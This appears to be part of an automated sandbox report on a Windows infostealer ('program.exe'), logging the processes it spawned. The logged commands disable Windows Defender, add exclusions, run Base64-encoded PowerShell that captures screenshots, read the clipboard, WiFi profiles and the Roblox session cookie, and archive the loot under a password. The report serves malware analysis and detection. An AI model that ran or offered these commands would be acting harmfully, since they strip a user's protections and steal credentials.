Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES93BE.tmp" "c:\Users\user\AppData\Local\Temp\tgmup5d5\CSC93ACBC84BC674220B3501D9F22ECFDE.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwb